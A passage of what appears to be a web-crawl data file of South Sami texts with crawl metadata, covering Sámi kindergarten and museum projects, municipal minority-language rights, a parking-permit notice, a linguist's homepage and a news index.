maanagïertestruktuvrem jarkelidh vïjhte jaepine, våaroeminie saemien filosofijesne jïh aerpievuekien daajrojne. Ulmie pilovtemaanagïerteöörneginie lea maanagïertem saemiestehtedh jïh dan tjïrrh våaromem vedtedh Saemiedigkien SáMOS-prosjektese, juktie saemien maanagïertepedagogihkem jïh barkoevuekiem evtiedidh saemien maadthåssjaldahki mietie.\n– Daelie SáMOS-prosjekte dan gåhkese båateme guktie dïhte vielie tjïelkelaakan edtja dotkedh jïh saemien barkoevuekieh evtiedidh saemien maanagïertigujmie ektine. Ïedtjije sjædta dam saemien pedagogihkeles evtiedimmiem bæjjese fulkedh åvtese saemiedigkieraerie Mikkel Eskil Mikkelsen (NSR) jeahta.\nPilovtemaanagïerteöörnegasse uktsie ohtsemh böötin. Akte dejstie ohtsijijstie idtjin krïevenassid jååhkesjh juktie pilovtemaanagïertine sjïdtedh. Gosse pilovtemaanagïerth veeljesovvin dellie unnemes akte edtji julevsaemien dajveste årrodh, akte åarjelsaemien dajveste jïh akte noerhtesaemien dajveste, dovne mearoegaedteste, staareste jïh sislaanteste.\n– Saemiedigkie lij vaajtelamme mijjieh meehtimh gaajhkh gaektsie maanagïerth pilovtemaanagïertine veeljedh, men vierhtiej gaavhtan tjoerebe evtiedimmiebarkojne nïerhkedh njieljie maanagïertine daan aejkien, Mikkelsen jeahta.\nSaemiedigkieraerie aaj nænnoesti gosse nuepiem vadta pilovtemaanagïertine syökedh minngeben aejkien, dellie edtja daejtie maanagïertide, mah idtjin prioriteetem åadtjoeh daelie, orre ohtsijigujmie ektine vuarjasjidh. Daah maanagïerth leah: Luvlege maanagïerte jïh Ysterhagen maanagïerte, goevtese Svaale Rørosesne, Fossens maanagïerte Gáivuotnesne, Sentral maanagïerte Altesne jïh Guovssahas maanagïerte Romsesne.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/prm-pilovtemaanagierth-veeljesovveme-saemien-maanagierteprosjektese\/","date":"2020-06-02T22:46:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00530.warc.gz","language":"sma","language_score":0.9999699593,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999699592590332}","num_words":214,"character_repetition_ratio":0.119,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjöödtjestimmieluhpie svihtjeme-heaptojidie\nParkeringstillstånd för rörelsehindrad\nBijlevuajajidie luhpie\nBijlevuajaje gien svihtjeme-heaptoje, stoerre dåeriesmoerh vaedtsedh jïh geerve bijlese bijleste svihtjedh vaadtsemegåhkoem tjöödtjemesijjeste maahta luhpiem åadtjodh.\nPassagerijidie luhpie\nPassagerijidie luhpiem ajve muvhth aejkien vadta, v.g. geerve svihtjeme-heaptomem jallh stuvremh, n.s.j. jis ij maehtieh ohtsijem oktegh assistansehts baetsedh mearan vuajije tjöödtjeste. Vuajaje, gie lea svihtjeme-heaptojh bijlesne åådtje njoelkedassij mietie trafihkenjoelkedassesne, åådtje tjöödtjestidh gusnie luhpehts tjöödtjestidh. Ajve dam åådtje darjodh jis sjïere jearsoes-laakan jïh jis dam krievie. Tjöödtjestimmie ij guhkiem goh daerpies bijlen sistie- jïh sijse svihtjedh jïh daarpoe assistansine bijlen ålkoelisnie.\nSojkesjem veedtjh\nSoejkesjem sveerjen gïelesne. Maahta dïsse dievhtedh, mohte eah dah bieleh maam dov dåaktere edtja dievhtedh.\nJeenjebh bïevnesh\nGunilla Jonsson, luhpieh geajnoeh jïh såafoesijjieh, telefovne 090-16 13 66\nSidan har granskats 2009-09-11","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/tjoodtjestimmieluhpiesvihtjemeheaptojidie.4.2aeb902411d30c9e460800061561.html","date":"2020-07-10T12:51:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655908294.32\/warc\/CC-MAIN-20200710113143-20200710143143-00549.warc.gz","language":"sma","language_score":0.9997629523,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9997629523277283}","num_words":116,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmie prosjektine lea metodihkeles jïh teknologeles vuekieh evtiedidh mah maehtieh bievniemisnie saemien kultuvreste jïh saemien daevierijstie åtnasovvedh. Prosjekte lea interreg-prosjekte dej golme saemien museumi gaskem Saemien Sijte Nöörjesne, Ájtte Sveerjesne jïh Siida Såevmesne. Lissine Luleå tekniske Universiteete jïh University of Lapland Rovaniemisne meatan laavenjostosne.\n– Dan gaavhtan dovne Nöörje jïh Såevmie stoerre prosjekth juhtieminie daelie juktie saemien daeverh bååstede åadtjodh dejtie saemien museumidie, dellie iemie doh saemien museumh orrelaakan ussjedieh guktie edtja jïjnjene daeverh jïh jïjnjene histovrijem vuesiehtidh, buektedh jïh dej bïjre bievnedh, saemiedigkieraerie Henrik Olsen jeahta.\nNorsk folkemuseum jïh Kulturhistorisk museum Oslosne edtjieh lehkiem dehtie saemien våarhkoste mij åålmehmuseumisnie gååvnese, bååstede sertedh saemien museumidie. Daan giesien dam minngemosth latjkoem sertemen bïjre aajhterevoeteste jååhkesjin, jïh Saemien Sijte edtja lehkiem dehtie åarjelsaemien våarhkoste dåastodh. Jaepien 2017 Nasjonalmuseet Såevmesne sjæjsjali abpe sov saemien våarhkoem bååstede vedtedh don saemien museumasse Siida Inarisne.\nGellieh dejstie daevierijstie mejtie edtja bååstede sertedh leah dan hiejjies guktie tjuara orre vuekieh gaavnedh dejtie vuesiehtidh. Prosjektesne edtja daajbaaletje autentiske bievnemem sjugniedidh saemien kultuvreste jïh kultuvreaerpijste saemien aarvoej, identiteeten jïh jielije jieleden bïjre. Daate dorjesåvva evtiedimmien tjïrrh aktede orre saemien museumegieleste mij metodologeles jïh teknologeles vuekieh våaroeminie åtna.\nAkte dejstie ulmijste prosjektine lea aaj raastehts baahtsemem jïh ektiedimmiem sjugniedidh dej golme museumi gaskem mah leah ovmessie bieline Saepmeste. Naemhtie museumh sijhtieh maehtedh sijjen sisvegem juekedh virtuellelaakan dovne jïjtsh guessiejgujmie, men aaj guessiejgujmie dejnie jeatjah museuminie. Naemhtie maahta guesside buerebe goerkesem abpe Saepmeste vedtedh dovne regijovni jïh laanteraastaj dåaresth. Daeverh edtjieh vielie jielije dorjesovvedh jïh åssjalommese lea interaksjovnem sjugniedidh guessien jïh daeveri gaskem.\n– Prosjekte sæjhta vihkeles dåarjoe årrodh saemien siebriedahkedigkiedimmesne, men aaj vihkeles dåarjoe juktie jïjtjene histovrijem soptsestidh jïh jienebh guessieh jaksedh, Olsen jeahta.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/raastendaaresth-museumeprosjektem-daarje\/","date":"2020-07-09T19:48:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655901509.58\/warc\/CC-MAIN-20200709193741-20200709223741-00450.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":271,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dahkoe aerpievuekie-draamesne juakeme boelhketjisnie. Dahkoe kronologijen mietie jåhta, men tjaelije maahta dovne åvtese jïh bååstide tjaatsestidh.\nGuktie jåhta?\nShakespearen draama Romeo jïh Julia åenehks diktine aalka, prologine, mij soptseste guktie gåerede. Læjhkan ij dan konkreeteles guktie vuartasjæjjah tjetskehke sjidtieh jïh ussjedieh guktie minnge-gietjesne sjædta.\nDorjehtimmien dahkoe våhkoen mietie jåhta. Dah göökte åejvieråålla-gaagkoeh feestesne dïervesjieh jïh gearanieh, tjeakoesvoetine biejjien mænngan pruvrieh jïh njieljie biejjiej mænngan dah sealadieh.\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306\/resource:1:173900","date":"2020-07-06T10:30:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655890157.10\/warc\/CC-MAIN-20200706073443-20200706103443-00429.warc.gz","language":"sma","language_score":0.9999661446,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999661445617676}","num_words":68,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Information på Sydsamiska\nInformation på sydsamiska\nSuarsan tjïelte saemie reeremedajvine tsïengelen 1 biejjiem 2010 sjïdti. Tjïelten barkose daate dovne orre haesteme jïh dïedte sjïdti. Aalkovijstie ibie nahkesjh gaajhkh krïbpesjh darjodh. Mohte edtjebe dorjedh daam maam buektebe jïh buerie molsehthlaakan saemiengïelese dovne åvteskuvlesne jïh båarasåapoehåhkosne bigkedh.\nLea aaj vihkeles saemiengïelem tjïelten bïevnesisnie, skïeltide jïh gaajhkh jeatja sijjine gusnie gåarede gåhtsajehtedh.\nSuarsan tjïelte lea aaj ektieraeriedåehkiem sjïehtedamme, gusnie sïjth, saemie siebrieh jïh saemiesiebrie leah meatan. Daam lea dorjeme dan åvteste saemie eajhnah sijhtieh gosse tjïelte barka saemiengïelem gorredidh jïh evtiedidh.\nTjïelten tjelmijste vuejnebe dam orre laakem jïh dah dïedth siebriedahkese juktie saemiengïelem evtiedidh jïh saemiej reakta maanah – jïh båarasåapoehoksem jïjtsh gïelese goh vihkeles jïh vihties sïlle siebriedahken övtiedimmesne.\nFörvaltningsområden\nReeremedajvh\nKarta\nBildtext: Guvvietekste: Suarsan tjïelte lea akte dej 19 saemie reeremedajvijste.\nStatsbidrag\nStaaten dåarjoe\nTjïelti saemie reeremedajvine fïerhten jaepiem staatedåarjoem åadtjoeh dej åasa jeanaj åvteste maam tjïelth utnieh guktie maehtieh saemien gïelem dåarjodh mïetes-lohke orre laakine\nFïerhten tjïelte edtja nasjovnen unnebelåhkoej ektine daerpies voetem tjïeltesne vuejnedh guktie daejrieh guktie dåarjoem saemiengïelese nuhtjedh.\nSuarsan tjïelte fïerhten jaepiem dåarjoem 660 000 kråvnah åådtjoe.\nBakgrund\nDuekehke\nUnnebelåhkoepolitike lij tseegkesovveme goh politihkedajve jaepien 2000 gåessie Svöörje nännoesti dam Europaraerien bäjngolds-konvensjovnem dej nasjovnelle unnebelåhkoe vaarjelimmiej bïjre jïh dam europeejen njoelkedassem dan laantedajven- jallh unnebelåhkoej gïeli bïjre. Vuepsiem dejnie svöörjen unnebelåhkoejpolitihkine lea vaarjelimmiem vedtedh dejtie nasjovnelle unnebelåhkojde, jïh nännoestidh dej nuepieh meatan årrodh\/tsevtsedh jïh dåarjodh dejtie historiske unnebelåhkoe-gïelide juktie jielije edtjieh årrodh. Svöörjen nasjovnelle unnebelåhkoeh leah judarh, romerh, saemieh, svöörjesåevmie- jïh tornedaalen almetjh.\nUnnebelåhkoegïelh leah jiddisch, romani chib, saemien, såevmien gïele jïh meänkieli.\nDååjrehtsh vuesehtieh guktie dejtie unnebe-låhkoej vuepside geerve jaksedh jïh sjiehteles krööhkestimmieh ij leah dorjesovveme dejtie nasjovnelle unnebelåhkoej daerpiesvoetide.\nEuroparaerie lea sov gïehtjedimmesne dan svöörjen unnebelåhkoepolitiken bïjre vuesiehtamme daerpiesvoeth ovmessh bueriedehtemistie gellieh dajvine.\nReerenassen unnebelåhkoepolitihke sojhkesjen sisvegisnie lea barkoesoejhkesje ihke:\n- buerebe-laakan Europaraerien unnebe-låhkoekonvensjovni mietie öörnedh veasodh\n- buerebe öörnemem dan unnebelåhkoe-politihkese geehtedh\n- vuastalestedh diskrimineringe dejstie nasjovnelle unnebelåhkojste\n- nännoestidh dej nasjovnelle unnebelåhkoej jijtjefaamoeh aaj tsevtsemasse dovne\n- freemjedh nasjovnelle unnebelåhkoegïeli gorredimmieh.\nDina rättigheter\nDov reaktah\nDatne gie saemie leah Sveerjen nasjovnelle unnebelåhkosne.\nJih jiddische, romani chibe, saemien, såevmien giele jïh meankielin nasjovnelle unnebelåhkoegïelh leah.\nGoh nasjovnelle unnebelåhkoe vihkeles daejredh mah dov reaktah leah jih magkerh kriebpesjimmeh maahtah dov tjïeltese jallh jeatjah byjjesfaamojde biejedh.\nVoestegh goerehteh jis dov tjielte reeremedajvesne lea juktie desnie dov reaktah maehtieh sjïere nännoestimmesne årrodh.\nEeremes maahtah jillebe kriebpesjimmieh kriebpesjidh jis saemien, såevmien jallh meankielin gïelide soptsesth jïh reeremedajvesne årroeminie. Dah golme gïelh nännoestamme vaarjelimmieh utnieh. Dagkeres tjïeltesne datne reaktam åtnah dov gïelesne njaelmeldh jïh tjaeleldh byjjesfaamojde gaskesadtedh. Jalhts reeremedajven bäjngolen edtjh maehtedh dov gïelem nuhtjedh jis byjjesfaamoej leah barkijh gieh gielemaahtoem utnieh.\nJis edtjh reaktesne årrodh aaj reaktah åtnah toelhkem utnedh jïh dov ietnien-gïelem soptsestidh\nRijhkebiejjien saadthalmetjh-, Justitiekanslere-, Försäkringekassa-, Skatteverkem-, jïh Diskrimineringeombudsålmam maahtah saemien jïh såevmien gïeline tjaeleldh gaskesadtedh.\nDïhte orre laake joekoen maanaj bijre vaarjele jïh dan gaavhtan maahta eejhteginie vaejtedh maanahåksom abpe jallh biehkine saemien gieline åadtjodh reeremedajvesne.\nSeammalaakan voereshoksesne, baarkijh edtjieh gååvnesidh gieh maehtieh saemien gielide soptsestidh. Jalhts aaj tjieltesne årroeminie mij ij reeremedajvesne leah datne reaktam åtnah voereshåkseh dov gïelesne utnedh jis barkijh gååvnesieh gieh gïelem maehtieh.\nBene dïhte orre laake ij aajve gïelen bïjre. Dah nasjovnelle unnebelåhkoeh edtjieh maehtedh abpe sijjen kultuvrem gorredidh jïh evtiehtidh. Jïh dïhte abpe Sveerjesne, gaajhkine tjieltine, jalhts aaj dejnie mah eah reeremedajvesne leah.\nDov tjielte dïedtem åtna orre laaken bijre bïevnedh, jih mejtie dov reaktah leah. Vuartesjh bievneshtjåanhkoej mietie jïh voejhkelh lihkedajvesne eadtjalhgehtedh jïh goerehteh magkeres gyhtjelassh dijjieh maehtede evtiedidh. Dah nasjovnelle unnebelåhkoeh edtjieh aaj lihkesdajvi raarestallemedåehkine årrodh jïh maehtede gyhtjelassh lutnjedh jijtje dåehkien bijre.\nLänkar\nSvaalhtesh:\nLänsstyrelsen i Stockholm = Leeneståvroe Stockholmesne\nSametinget = Saemiedigkie\nLagen om nationella minoriteter = Laakh nasjovnen unnebelåhkoej bïjre\nFaktablad på sydsamiska = Deahpadimmieh åarjelsaemiengïelese\nFörskola\nÅvteskuvle\nNaemhtie laakesne tjåådtje:\nGosse akte tjïelte reeremedajvesne sijjie åvteskuvledarjomisnie faala, dellie edtja skuvlelaakem mietie gosse åelie vaajta, sijjie åvteskuvledarjomisnie gusnie abpe jallh stuhtje darjomistie edtja saemiengïelesne årredh.\nDaate soptseste Suarsan tjïelte edtja åvteskuvledarjome saemiengïelese öörnedh jis eejhtegh jallh åelie dam vaejtede.\nMaanah edtjieh nuepiem utnedh jïjtsasse kultuvre identiteetem evtiedidh. Maanaj gïeleevtiedimmie lea vihkeles åvteskuvlesne. Åvteskuvle edtja vyöjhkesadtedh guktie maanah mah jeatja ietniegïele goh svïenskegïele edtja nuepiem åadtjedh dovne svïenskegïelem jïh jïjtsasse ietniegïelem evtiedidh.\nÄldreomsorg\nBåarasåapoehokse\nNaemhtie laakesne tjåådtjoe:\nTjïelte reeremedajvesne edtja dïsse gie vaajta nuepien abpe jallh stuhtje hoksehtimmijste jïh skïemtjehåhkojste mij faalesåvva iktemierie båarasåapoehoksi barkijh mah saemiengïelem soptsestieh. Seamma lea tjïeltide reeremedajven ålkoelisnie, jis tjïelte barkijh åtna mah gïelem maehtieh.\nDaate soptseste mijjieh dïedte utnebe båarasåapoehoksem saemiengïelese faaledh. Dïhte lea mijjese haesteme gosse jiermeste Suarsa lea voenetjïelte. Mijjieh edtjebe dorjedh daam maam maehtebe guktie båarasåapoe mah saemiengïelem soptsestieh edtjieh åadtjedh jïjtsasse ietniegïelem nuhtjedh.\nMijjieh inventeringinie barkeminie juktie edtjebe buerie vuejnedh daerpiesvoetem bïjre åadtjedh. Daan bijjiem ibie maehtieh eensi laakan saemiengïelem båarasåapoehoksese gaarkedh. Mohte maehtebe, ikteraerine dejgujmie mah daarpesjh, annjebodts tjovtehkinie viehkiehtidh.\nSpråkservice på samiska\nGïelehoksehtimmie saemiengïelese\nNaemhtie laakesne tjåådtje:\nAajne almetje reakta åtna saemiengïelem nuhtjedh gosse njaalmeldh jïh tjaaleldh ektievoetem reeremeåajvaladtjine vaalta. Daate dæjpa ieride gusnie aajne almetje lea paarhte jallh soptsestæjja paarhtese jis ierie lea reeremedajvese gårredamme.\nJis gie akth saemiengïelem dagkeres ieresne nuhtjie, dellie lea åajvaladtjen dïedte njaalmeldh vaestiedassem seamma gïelesne vedtedh.\nAajne almetje mij juridihkeles raerijem fååtese, reakta åtna tjaaleldh jarkoestimmiem dah nænnoestimmie jïh nænnoestimmien tjïelkedimmien mietie saemiengïelese åadtjedh gosse gihtjie.\nÅajvaladtje edtja aaj pryövedh aajne almetjem daejtie gïelide dïervesjidh. Reeremeåajvaladtjh edtjieh aaj vuesiehtidh barkijh jaksoesmieresne mah saemiengïelem maehtieh gosse daerpies aajne almetjasse åajvaladtjine gaskesadtedh.\nDaate soptseste mijjieh dïedtem utnebe gïelehoksehtimmiem saemiengïelese öörnedh juktie dåastobe dah daerpiesvoetide mah saemie tjïeltesne utnieh.\nGïelehoksehtimmie saemiengïelese gåarede gellien laakan öörnedh.\nDatne gie saemiengïelem sæjhta nuhtjedh maahtah ektievoetem mijjine tjïeltesne vaeltedh. Dellie maehtebe ektesne barkedh jïh tjovtehkem gaavnedh, jarkoestimmie viehkine dovne noerhte-, åarjel jïh upmejen saemiengïelese vaeltedh.\nSamråd\nIkte-raerie\nNaemhtie laakesne tjåådtje:\nReeremeåejvieh edtjieh nasjonaale unnebelåhkojde nuepien vedtedh aamhtesi bïjre soptsestidh mah dej tsevtsieh jïh dan gåhkese gåarede unnebelåhkoen soptsestæjjine ektesne dagkeres gyhtjelassi bïjre rååresjidh.\nSuarsan tjïelte lea 2010-2012 jaepesne gellie tjåanghkoeh sïjti, saemiesiebriedahki jïh jeatja saemie siebriej soptsestæjjajgujmie tjïeltesne utneme. Golken asken 2011 aalkovisnie nænnoesnovvi saemie raeriem dorjedh.\nLänkar: = Leenkh","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/sorsele.se\/minoriteter-s%C3%A1bmie\/information-paa-sydsamiska\/","date":"2020-07-16T15:43:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657172545.84\/warc\/CC-MAIN-20200716153247-20200716183247-00082.warc.gz","language":"sma","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000004768371582}","num_words":967,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"УДМУРТ КЫЛЫН\nAUF DEUTSCH\nEESTI KEELES\nSÁMEGIELLAJ\nPÅ SVENSKA\nSÄMIKIELÂN\nIN ENGLISH\nSÁMEGILLII\nSUOMEKSI\nPÅ NORSK\nSÄÄMAS\nעברית\nالعربية\nहिन्दी\n中文\nDaate Jussi Ylikoskin gåetiesæjroe.\nManne gïeledotkije. Snjaltjen 2017 raejeste saemiengïelen professovrine Giellagas-instituhtesne Uleåborgen universiteetesne barkem. Manne aaj professovre II Saemien jïlleskuvlesne Goevtegeajnosne.\nManne eeremes fennougriste jallh suomi-ugrijen gïeli dotkije guhte saemien jïh suomen gïeline spesialiseresovveme. Aarebi aaj Åbon jïh Helsingforsen universiteetine jïh ieskien UiT Nøørjen arktisen universiteetesne Romsesne barkeme.\nDej minngemes jaepiej saemien gïelh, eeremes noerhtesaemiengïelem, men aaj åarjelsaemiengïelem jïh julevsaemiengïelem dotkeme. Manne aaj gïelide, mah luvliemearoesuomen gïeline gohtjesuvvieh – eeremes jïjtjene ietniengïelem, suomengïelem – jïh peermen ja marin gïelide dotkeme; gaajhkh daah suomen-ugrijen jallh uralen gïelh Noerhte-Europesne. Daan aejkien mov uvtemes ïedtje saemien, suomen jïh mubpie uralen gïeli kaasusi ja adposisjovni funksjovnide jïh maadtojde dotkedh, jïh abpe dam saemiengïelem leam dotkeme. Disse lissine manne naan gærjah jïh aejkietjaalegh redigeereme.\nMov bæjhkoehtimmieh daebpene gååvnesieh.\nJieledem aaj jïjtsanne skååffeme.\njussi.ylikoski(at)oulu.fi","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/cc.oulu.fi\/~jylikosk\/sma.html","date":"2020-07-15T12:18:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657167808.91\/warc\/CC-MAIN-20200715101742-20200715131742-00221.warc.gz","language":"sma","language_score":0.9995039701,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9995039701461792}","num_words":147,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh teeksth Mïetsken 8. biejjien lea Saemien Sijjienïmmhmoenehtsen govlehtimmien minngemes biejjie Lohkh vielie » Röörosen tjïelte: Geerve maanajgïertelohkehtæjjah Svaalese fihkelidh Lohkh vielie » Saemiedigkieraerie saemien maanajgïertide jïh saemien goevtesidie daaroen maanajgïertine dåårje Lohkh vielie » Gïeh dah orre saemien tsïeglh leah åadtjobe SALT:sne Oslovisnie daejredh Lohkh vielie » 230 000 kråvnah åarjelsaemien maanajgærjide Lohkh vielie » Daesnie 15 namhtah apph mejtie hijven meatan vaeltedh gosse ålkone vaanterdeminie Lohkh vielie » Daan asken maanajskuvlelearohkh leah 288 000 sæjroeh lohkeme Lohkh vielie » Daan giesien 1\/3 sæjhta gåetesne eejehtalledh Lohkh vielie » 4\/10 almetjh leah tjïervesisnie sygkeldamme Lohkh vielie » Daelie turisth maehtieh diekie båetedh! Lohkh vielie » Sjïere skuvlejaepie Lohkh vielie » Dj iDJa sæjhta åarjelsaemiengïelem lutnjedh – orre laavlome åarjelsaemiengïelesne dorjeme Lohkh vielie » Ramona Linnea Victoria Kappfjell Sørfjell jïh Dj iDJa edtjijægan orre laavlome åarjelsaemiengïelesne luejhtedh. Lohkh vielie » Skïemtjehïejmh jïh håksoegåetieh Röörosen tjïeltesne guesside dåastoeh Lohkh vielie » Pressebïevnese Röörosen tjïelteste: Göökte almetjh Bïenjedaelesne leah Covid-19 åådtjeme. Lohkh vielie » Saemiedigkieraerie 1,388 millijovnh joekede bæjhkoehtæmman saemien musihkeste jïh vueleste Lohkh vielie » Datne saemien noere? Dåeredh dotkemegoerehtimmesne Mihá – noere saemiej psykiske healsoe Lohkh vielie » Jirreden digitaale tjåanghkoe healsoe, byjrese jïh tjirkemen bïjre båatsosne Lohkh vielie » Båantan sjeltie Plassjesne lea aalkeme Lohkh vielie » Ij itjmiem bïegkefaamoen jïh båatsoen bïjre guarkah Lohkh vielie » Saemiedigkie Rørosrein bielie millijovnigujmie dåårje Lohkh vielie » Gaebpien Hilde Danielsen lea nominereme stoerredigkienlæstosne årrodh Lohkh vielie » Pressebïevnese: Gellie registreradimmiebarkoeh kultuvremojhtesijstie åarjelsaemien dajvesne Lohkh vielie » Pressebïevnese: Árvu edtja Faamoem ektine Saemiedigkine juhtedh Lohkh vielie » Röörosen tjïelte jïjnjem healsoeinstituhtine Bïenjedaelesne gaskesadta Lohkh vielie » Raasten rastah 2020 Plaassjesne heajhtasovveme Lohkh vielie » Aajege digitaale seminaarese maanabyjjenimmien bïjre böörie Lohkh vielie » Fovsen Njaarke laakemaenniereaktosne teehpi – Vihkeles gåatomedajvh leah dasseme Lohkh vielie » Preessebïevnese: NRK noeride 15-18 jaepien båeries gaskesne åhtsa orre TV-raajrose Lohkh vielie » Saemien Sijjienïmmhmoenehtse lea nommide veeljeme govlehtæmman sedtedh – Magkerh nommh datne sïjhth Røros kommune, Røros, Brekken jïh Glåmos edtjieh åadtjodh? Lohkh vielie » Daenbien Maja Kristine Jåma jïh Aajege orre tjaalegem luejhtieh Lohkh vielie » Ruffien 1. biejjien minngemes biejjie maahtah ohtsedidh saemien tsïegline sjïdtedh Lohkh vielie » Ruffien 2. biejjien raejeste ellies skuvleklaassh åadtjoeh ektine skuvlesne årrodh Lohkh vielie » Ove Lorentz lea vaestiedassem Lievangken sijjienommen govlehtæmman tjaaleme Lohkh vielie » Daan biejjien: Guvvieh Plassjeste Lohkh vielie » Suehpeden 17. biejjien: Guvvieh Prahkeste Lohkh vielie » Daesnie dah orre Gïeleviehkieh Lohkh vielie » Magkeres nomme datne sïjhth «Levanger kommune» edtja utnedh? Tjïelte lea ræhpas govlehtimmieprieviem tjaaleme Lohkh vielie » Tjaelebe! Tjaelemegaahtjeme maanide jïh noeride! Lohkh vielie » Jørn Jensen Lærhandel lea mijjen voestes annonsöövre Saernieh nehtesæjrosne Lohkh vielie » PRM: Pilovtemaanagïerth veeljesovveme saemien maanagïerteprosjektese Lohkh vielie » Mihá-prosjeekten bïjre Lohkh vielie » Gïelem Nastedh orre Gïeleviehkie ohtsede Lohkh vielie » Daelie Saemien tsïeglh nedtesne vuelkieh! Lohkh vielie » Eolus Wind lea 75 bïegkefaamoeh Jillen-Njaarkesne tseegkeminie – Nååts båatsoe? Lohkh vielie » Bïevnesh maanagïerte-eejhtegidie Lohkh vielie » Tv-programmh åarjelsaemiej bïjre mejtie sïjhth vihth vuartasjidh Lohkh vielie » Ij naanh njaalmeldh eksaamenh sjïdth Lohkh vielie » Reerenasse sæjhta siebriedahkem ånnetji ånnetji jïh gïehtjedimmien nuelesne rïhpestidh Lohkh vielie » Saemiedigkie dåarjoem Beaivvášen heevehtimmiegærjese jïh konsertese Marja Mortensson jïh KORK:ine vadta Lohkh vielie »","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saernieh.no\/alle-innlegg\/","date":"2020-08-04T05:25:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735860.28\/warc\/CC-MAIN-20200804043709-20200804073709-00157.warc.gz","language":"sma","language_score":0.9999815226,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999815225601196}","num_words":457,"character_repetition_ratio":0.151,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien lea reeremedïedte saemien kultuvremojhtesi jïh saemien gåetievaarjelimmien åvteste abpe laantesne. Saemien kultuvremojhtesh vuesiehtieh saemieh desnie orreme jïh hööllestamme, jïh daajroem buektieh mijjen aarebi maadtoje jieledetsiehkiej, vierhtieåtnoen, jaahkoevuekiej jïh åtnoen bïjre eatnamistie. Saemien kultuvre-aerpie mijjese daajroem, identiteetem jïh dååjresh vadta. Kultuvre-aerpie aaj vihkeles premissedeallahtæjjine sjædta abpe areaalesoejkesjæmman jïh darjoemidie eatnamistie.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/","date":"2020-08-09T01:56:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738380.22\/warc\/CC-MAIN-20200809013812-20200809043812-00349.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":50,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie datne tjaalegh teeman bïjre Såångedidh jïh pruvredh lohkeme. Nuhjth dejtie viehkine gosse laavenjasside vaestedh.\n1. laavenjasse\nTjöönghkh baakoeh teeman bïjre mah vihkeles åtnah. Man åvteste vihkeles daejtie baakojde maehtedh? Buerkesth dov vaestiedassem.\n2. laavenjasse\nTjaalegi gïelh jïh sisvegh maehtieh maam akt saemiej tsiehkiej bïjre soptsestidh? Buerkesth dov vaestiedassem.\n3. laavenjasse\n- Mah vuekieh\/skihkieh tjaaleginie gaavnh? Tjaelieh åenehkslaakan dej bïjre.\n- Mijjieh dah seamma vuekieh 